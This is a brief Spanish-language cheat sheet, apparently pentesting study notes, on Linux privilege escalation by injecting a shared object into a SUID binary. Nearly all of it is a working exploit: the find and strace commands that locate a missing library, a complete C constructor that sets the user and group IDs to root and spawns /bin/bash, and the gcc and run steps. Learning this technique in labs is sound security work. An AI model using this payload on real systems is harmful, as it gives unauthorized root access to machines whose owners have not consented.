

Elevación en Linux - SUID (.so Injection)

Escalada de Privilegios

SUID (.so Injection)

- Verificamos
 - find / -type f -perm -04000 -ls 2>/dev/null
 - strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
 - Atención a la variable PATH.
- Para hacer la escalada de privilegios
 - mkdir /home/user/.config

```
Crear libcalc.c
    #include <stdio.h>
    #include <stdlib.h>
    static void inject() __attribute__((constructor));
    void inject() {
        setresuid(0,0,0);
        setresgid(0,0,0);
        system("/bin/bash");
    }
```

- gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
- /usr/local/bin/suid-so
- id
